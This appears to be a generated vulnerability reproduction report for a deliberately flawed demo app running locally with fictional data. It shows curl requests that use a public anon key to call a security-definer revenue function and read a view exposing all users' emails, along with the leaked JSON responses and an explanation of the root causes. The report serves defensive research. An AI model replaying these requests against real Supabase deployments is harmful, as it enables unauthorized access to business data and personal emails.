Failure mode: FM11 (research/FAILURE_MODES.md) · Severity: high · Reproduced: yes
Impact: A competitor can read any agency's monthly revenue, and anyone can harvest the email of every account on the platform.
Target: the before app's backend (localbase, a local Supabase stand-in) on 127.0.0.1, seeded with fictional demo data. Regenerate with pnpm tsx before/exploits/fm11-definer-rpc-and-auth-users.ts or pnpm tsx before/exploits/run-all.ts. Generated 2026-11-22T16:05:26.352Z.
Setup
sh
URL=http://127.0.0.1:4102
ANON=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... # the public anon key, readable in the JS bundle (before/.env VITE_SUPABASE_ANON_KEY)Steps
1. Find the other agency's id (organizations is readable by anon, [FM2])
sh
curl -s "$URL/rest/v1/organizations?select=id,name&slug=eq.tidewater" \
-H "apikey: $ANON"Response: HTTP 200
json
[
{
"id": "396a94a8-a43a-4289-91fd-087b55f18d50",
"name": "Tidewater Social"
}
]2. Call the dashboard's revenue rpc for Tidewater Social, with no login
sh
curl -s -X POST "$URL/rest/v1/rpc/get_org_revenue" \
-H "apikey: $ANON" \
-H "Content-Type: application/json" \
-d '{"org":"396a94a8-a43a-4289-91fd-087b55f18d50"}'Response: HTTP 200
json
[
{
"month": "2026-05",
"revenue": 15940,
"invoice_count": 4
},
{
"month": "2026-06",
"revenue": 4195,
"invoice_count": 1
},
{
"month": "2026-07",
"revenue": 15750,
"invoice_count": 6
},
{
"month": "2026-08",
"revenue": 16230,
"invoice_count": 4
},
{
"month": "2026-09",
"revenue": 25240,
"invoice_count": 6
},
{
"month": "2026-10",
"revenue": 6495,
"invoice_count": 2
},
{
"month": "2026-11",
"revenue": 5135,
"invoice_count": 1
}
]3. Read team_directory, the view the Team page uses
sh
curl -s "$URL/rest/v1/team_directory?select=*" \
-H "apikey: $ANON"Response: HTTP 200
json
[
{
"id": "b034ccfb-db07-4df1-8f1b-6b90dcadd230",
"email": "jonas@northlake.example",
"full_name": "Jonas Berg",
"created_at": "2026-11-22T16:04:58.543+00:00",
"last_sign_in_at": null
},
{
"id": "ba44d500-0e37-4401-8346-fc2265612d79",
"email": "leo@tidewater.example",
"full_name": "Leo Marsh",
"created_at": "2026-11-22T16:04:58.654+00:00",
"last_sign_in_at": null
},
{
"id": "ecf2d6ae-db09-491d-8690-024027e4cfe0",
"email": "ana@tidewater.example",
"full_name": "Ana Costa",
"created_at": "2026-11-22T16:04:58.716+00:00",
"last_sign_in_at": null
},
{
"id": "e6306b77-751a-4f3c-9d6c-71a768533b30",
"email": "ruth@saltmarshbakery.example",
"full_name": "Ruth Byrne",
"created_at": "2026-11-22T16:04:58.771+00:00",
"last_sign_in_at": null
},
{
"id": "2d4f4a27-68b6-453a-b2d8-a3109473d20a",
"email": "maya@northlake.example",
"full_name": "Maya Okafor",
"created_at": "2026-11-22T16:04:58.483+00:00",
"last_sign_in_at": "2026-11-22T16:05:02.684+00:00"
},
{
"id": "0cf4abd1-919e-4f68-bd92-98b601e47d3c",
"email": "stranger@outsider.example",
"full_name": "Stranger",
"created_at": "2026-11-22T16:05:25.713+00:00",
"last_sign_in_at": null
},
"... 1 more (7 total)"
]What this shows
- get_org_revenue returned 7 months of Tidewater's paid revenue ($88,985 in total) to an anonymous caller.
- The function is
security definerwith nosearch_pathand no check that the caller belongs toorg; Supabase's default grants make every function in public executable by anon (advisor lints 0028, 0011). - team_directory returned 7 rows straight from auth.users: every user of every agency, with email and last_sign_in_at. A view runs with its owner's rights, so RLS on the base table is never consulted (advisor lints 0002_auth_users_exposed, 0010_security_definer_view).
- The Team page downloads this whole list and filters it in the browser (src/pages/Team.tsx).